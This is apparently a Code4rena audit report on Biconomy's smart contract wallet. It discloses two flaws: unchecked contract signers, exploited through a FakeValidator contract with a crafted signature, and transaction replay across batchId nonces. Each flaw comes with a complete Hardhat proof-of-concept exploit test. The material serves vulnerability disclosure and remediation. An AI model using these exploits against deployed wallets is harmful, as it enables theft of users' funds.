Biconomy - Smart Contract Wallet contest - Tricko's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

On SmartAccount.sol logic to handle contract signatures there is no validation of which contracts are allowed to sign the transaction. Therefore an attacker can deploy a contract that validades all signatures sent to it and then craft a signature that points to this contract and pass this signature to execTransaction(). This allows the attacker to execute arbitrary transactions on any smart wallet.

Proof of Concept

Consider the following series of steps

1. Eve (attacker) deploys the following contract

pragma solidity 0.8.12;

contract FakeValidator {
    function isValidSignature(
        bytes memory _data, 
        bytes memory _signature
    ) public pure returns (bytes4) {
        return 0x20c13b0b; //EIP1271_MAGIC_VALUE
    }
}

2. Eve craft the signature off-chain

let signature = (
    "0x000000000000000000000000" + fakeValidator.address.slice(2)          // r = contract address cast to 32bytes
    + "0000000000000000000000000000000000000000000000000000000000000041"   // s = 65
    + "00"                                                                 // v = 0
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements 
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
    + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements
);

3. Eve calls execTransaction() with any tx she wants using the above signature on any smart wallet.

For the complete POC, add FakeValidator contract above to "contracts/smart-contract-wallet/FakeValidator.sol" and then run the following test.

import { expect } from "chai";
import { ethers } from "hardhat";
import { encodeTransfer } from "./testUtils";
import {
  SafeTransaction,
  Transaction,
  FeeRefund,
  buildSafeTransaction,
} from "../../src/utils/execution";

describe("POC", function () {
    it("Craft Signature", async function () {
        
        //Setup
        let accounts = await ethers.getSigners();
        let alice = await accounts[0].getAddress();
        let eve = await accounts[2].getAddress();

        const BaseImplementation = await ethers.getContractFactory("SmartAccount");
        let baseImpl = await BaseImplementation.deploy();
        await baseImpl.deployed();

        const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
        let walletFactory = await WalletFactory.deploy(baseImpl.address);
        await walletFactory.deployed();

        const EntryPoint = await ethers.getContractFactory("EntryPoint");
        let entryPoint = await EntryPoint.deploy();
        await entryPoint.deployed();

        const MockToken = await ethers.getContractFactory("MockToken");
        let token = await MockToken.deploy();
        await token.deployed();

        const DefaultHandler = await ethers.getContractFactory(
        "DefaultCallbackHandler"
        );
        let handler = await DefaultHandler.deploy();
        await handler.deployed();

        await token.mint(alice, ethers.utils.parseEther("1000000"));
        const wallet_address = await walletFactory.getAddressForCounterfactualWallet(
        alice,
        0
        );
        await walletFactory.deployCounterFactualWallet(
        alice,
        entryPoint.address,
        handler.address,
        0
        )
        let userSCW = await ethers.getContractAt(
        "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
        wallet_address
        );

        await token
        .connect(accounts[0])
        .transfer(userSCW.address, ethers.utils.parseEther("100"));


        // Eve (attacker) deploy her own contract signer. 
        const FakeValidator = await ethers.getContractFactory("contracts/smart-contract-wallet/FakeValidator.sol:FakeValidator");
        let fakeValidator = await FakeValidator.deploy();
        await fakeValidator.deployed();

        // Eve's tx setup to transfer the wallet tokens to herself
        const safeTx: SafeTransaction = buildSafeTransaction({
            to: token.address,
            data: encodeTransfer(eve, ethers.utils.parseEther("10").toString()),
            nonce: await userSCW.getNonce(0),
        });
        const transaction: Transaction = {
            to: safeTx.to,
            value: safeTx.value,
            data: safeTx.data,
            operation: safeTx.operation,
            targetTxGas: safeTx.targetTxGas,
        };
        const refundInfo: FeeRefund = {
            baseGas: safeTx.baseGas,
            gasPrice: safeTx.gasPrice,
            tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
            gasToken: safeTx.gasToken,
            refundReceiver: safeTx.refundReceiver,
        };
    
        // Craft signature
        let signature = (
            "0x000000000000000000000000" + fakeValidator.address.slice(2)          // r
            + "0000000000000000000000000000000000000000000000000000000000000041"   // s
            + "00"                                                                 // v
            + "000000000000000000000000000000000000000000000000000000000000000000"  
            + "000000000000000000000000000000000000000000000000000000000000000000"
            + "000000000000000000000000000000000000000000000000000000000000000000" 
            + "000000000000000000000000000000000000000000000000000000000000000000");

        // Sends tx to wallet
        await expect(
            userSCW.connect(accounts[3]).execTransaction(
                transaction,
                0,
                refundInfo,
                signature
            )
        ).to.emit(userSCW, "ExecutionSuccess");

        // Verify that tokens were transferred 
        expect(await token.balanceOf(eve)).to.equal(
            ethers.utils.parseEther("10")
        );
    });
});

Recommended Mitigation Steps

Please consider adding a whitelist to restrict which contracts can validade txs during execTransaction() and reverts if _signer not in whitelist.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L204-L219

Vulnerability details

Impact

Due to the use of a mapping of nonces, instead of a single one, on certain cases transaction replay is possible.

For example, in the first tx of each batchId the actual nonce used is 0. But in the nonces mapping there are on the order of 2^256 nonces values that equals 0 (as they are all initiliazed to 0), therefore from a practical point of view an attacker can replay this first transaction as many times they want.

This vulnerability is more broader as it can works to replay entire series of batched txs or any contiguous subset of batched txs that starts from nonces[batchId] == 0. On special circustances it can also be used to replay specific transactions. Anytime that there is a "collision" between two nonces[batchId], an attacker can exploit this to replay that tx and any following tx on that batchId.

Proof of Concept

For simplicity, consider the following attack for the first tx of any batchId.

1. Alice send the tx to the wallet to transfer 10 tokens to Bob.
2. Eve records the tx info.
3. Eve replays the tx using any other batchId value where nonces[batchId] == 0 (For the first tx of each batch, there are many batchId that satisfy ( nonces[batchId] == 0), so Eve can replay this tx how many times she wants).

import { expect } from "chai";
import { ethers } from "hardhat";
import { encodeTransfer } from "./testUtils";
import {
  SafeTransaction,
  Transaction,
  FeeRefund,
  safeSignMessage,
  buildSafeTransaction,
} from "../../src/utils/execution";

describe("POC", function () {
  it("Replay Tx", async function () {

    //Setup
    let accounts = await ethers.getSigners();
    let alice = await accounts[0].getAddress();
    let bob = await accounts[1].getAddress();
    let eve = await accounts[2].getAddress();

    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    let baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    let walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    const EntryPoint = await ethers.getContractFactory("EntryPoint");
    let entryPoint = await EntryPoint.deploy();
    await entryPoint.deployed();

    const MockToken = await ethers.getContractFactory("MockToken");
    let token = await MockToken.deploy();
    await token.deployed();

    const DefaultHandler = await ethers.getContractFactory(
      "DefaultCallbackHandler"
    );
    let handler = await DefaultHandler.deploy();
    await handler.deployed();

    await token.mint(alice, ethers.utils.parseEther("1000000"));
    const wallet_address = await walletFactory.getAddressForCounterfactualWallet(
      alice,
      0
    );
    await walletFactory.deployCounterFactualWallet(
      alice,
      entryPoint.address,
      handler.address,
      0
    )
    let userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      wallet_address
    );

    //Alice sends tokens to the wallet
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    // Alice tx setup to transfer 10 tokens to Bob. 
    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(bob, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });
    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };
    const chainId = await userSCW.getChainId();
    const { signer, data } = await safeSignMessage(
      accounts[0],
      userSCW,
      safeTx,
      chainId
    );
    let signature = "0x";
    signature += data.slice(2);

    //2. Alice sends authentic tx to the wallet
    await expect(
      userSCW.connect(accounts[0]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    //3. Eve copies the tx info availiable on-chain (transaction, refundInfo, signature)
    // and sends it own replay tx choosing any other nonces[batchId] that matches the nonce alice used.
    // For the first tx of each batchId, the nonce will be 0, therefore from a practical point of view
    // there are infinitely many nonces[batchId] that will match, so Eve can choose any batchId != 0.
    await expect(
      userSCW.connect(accounts[3]).execTransaction(
        transaction,
        2023, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    // Eve can replay this tx how many times she desires chossing different batchId.
    await expect(
      userSCW.connect(accounts[3]).execTransaction(
        transaction,
        1337, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    // Verify that Bob received 3 txs instead of 1.
    expect(await token.balanceOf(bob)).to.equal(
      ethers.utils.parseEther("30")
    );
  });
});

Recommended Mitigation Steps

Consider removing the possibility of sending "parallel" batched transactions, therefore a single nonce can be used. Or consider also including the batchId value to the txHashData, making the txHash different even if nonce[batchIdA] == nonce[batchIdB]